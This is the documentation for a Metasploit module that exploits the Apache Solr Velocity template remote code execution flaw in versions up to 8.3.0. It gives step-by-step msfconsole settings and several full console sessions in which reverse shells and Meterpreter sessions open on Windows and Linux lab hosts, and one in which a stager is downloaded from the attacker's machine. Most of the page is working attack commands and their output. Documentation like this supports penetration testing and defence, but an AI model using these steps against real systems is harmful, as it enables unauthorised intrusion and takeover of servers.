## Description
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.

**From the Tenable advisory**

Link: https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability

An attacker could target a vulnerable Apache Solr instance by first
identifying a list of Solr core names. Once the core names have been
identified, an attacker can send a specially crafted HTTP POST request
to the Config API to toggle the params resource loader value for the
Velocity Response Writer in the solrconfig.xml file to true. Enabling
this parameter would allow an attacker to use the Velocity template
parameter in a specially crafted Solr request, leading to RCE.

## Vulnerable Applications

Apache Solr <= 8.3.0

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/solr_velocity_rce`
3. `set RHOST <target_ip>`
4. `set RPORT <target_port>`
5. `set USERNAME <username>` (if applicable)
6. `set PASSWORD <password>` (if applicable)
7. Ideally run `check`
8. `set TARGET` based on output of `check`
9. `set PAYLOAD <payload_name>` if you want to use other payloads
10. `set LHOST <your_ip>`
11. `set LPORT <your_port>`
12. Optional: `set VERBOSE true` to get verbose output
13. Optional: `set TARGETURI <path_to_solr>` if target system uses a different path to Apache Solr
14. `exploit` and let the shells rain

## Considerations

Privileges gained are dependent on the user running Solr. Currently,
this module only supports basic auth.

The "Java (in-memory)" target should work on any vulnerable system
regardless of OS. It requires that the victim system be able to make
HTTP requests to the attack platform.

Windows systems have 3 targets:
1. x86/64 Windows PowerShell: Uses `PowerShell` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
2. x86/64 Windows CmdStager: Uses `CmdStager` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
3. Windows Exec: Executes a command and returns the output. Payload defaults to `cmd/windows/generic`

*nix systems have 2 targets:
1. Unix (in memory): Uses command execution. Payload defaults to `cmd/unix/reverse_bash`. Output may be returned depending on payload used.
2. Linux (dropper): Uses `CmdStager`. Payload defaults to `linux/x86/meterpreter/reverse_tcp`

## Examples

### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using PowerShell
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > set TARGET 2
TARGET => 2
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.155:50210) at 2020-03-29 00:04:01 +0800

meterpreter > sysinfo
Computer        : 2K19DTCTR
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
gSystem Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using CmdStager
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > set TARGET 3
TARGET => 3
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Sending CmdStager payload...
[*] Command Stager progress -   7.05% done (7160/101541 bytes)
[*] Command Stager progress -  14.10% done (14320/101541 bytes)
[*] Command Stager progress -  21.15% done (21480/101541 bytes)
[*] Command Stager progress -  28.21% done (28640/101541 bytes)
[*] Command Stager progress -  35.26% done (35800/101541 bytes)
[*] Command Stager progress -  42.31% done (42960/101541 bytes)
[*] Command Stager progress -  49.36% done (50120/101541 bytes)
[*] Command Stager progress -  56.41% done (57280/101541 bytes)
[*] Command Stager progress -  63.46% done (64440/101541 bytes)
[*] Command Stager progress -  70.51% done (71600/101541 bytes)
[*] Command Stager progress -  77.56% done (78760/101541 bytes)
[*] Command Stager progress -  84.62% done (85920/101541 bytes)
[*] Command Stager progress -  91.67% done (93080/101541 bytes)
[*] Command Stager progress -  98.67% done (100188/101541 bytes)
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Command Stager progress - 100.00% done (101541/101541 bytes)
[*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.155:50211) at 2020-03-29 00:06:01 +0800

meterpreter > sysinfo
Computer        : 2K19DTCTR
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, with payload `cmd/windows/generic`
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > set TARGET 4
TARGET => 4
msf exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] 2k19dtctr\administrator
[*] Exploit completed, but no session was created.
msf exploit(multi/http/solr_velocity_rce) >
```

### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/reverse_bash`
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Command shell session 17 opened (192.168.137.128:4444 -> 192.168.137.129:48600) at 2020-03-29 00:20:50 +0800

id
uid=999(solr) gid=1002(solr) groups=1002(solr)
```

### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/generic`
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] solr
[*] Exploit completed, but no session was created.
msf exploit(multi/http/solr_velocity_rce) >
```

### Bitnami Solr VM 8.3.0, requiring basic authentication, using CmdStager, with payload `linux/x86/meterpreter/reverse_tcp`
```
msf > use exploit/multi/http/solr_velocity_rce
msf exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf exploit(multi/http/solr_velocity_rce) > set TARGET 1
TARGET => 1
msf exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Using URL: http://0.0.0.0:8080/PDeRPN1t
[*] Local IP: http://192.168.137.128:8080/PDeRPN1t
[*] Client 192.168.137.129 (curl/7.52.1) requested /PDeRPN1t
[*] Sending payload to 192.168.137.129 (curl/7.52.1)
[*] Sending stage (985320 bytes) to 192.168.137.129
[*] Meterpreter session 18 opened (192.168.137.128:4444 -> 192.168.137.129:48604) at 2020-03-29 00:23:13 +0800
[*] Command Stager progress - 100.00% done (149/149 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.137.129
OS           : Debian 9.11 (Linux 4.9.0-11-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >
```
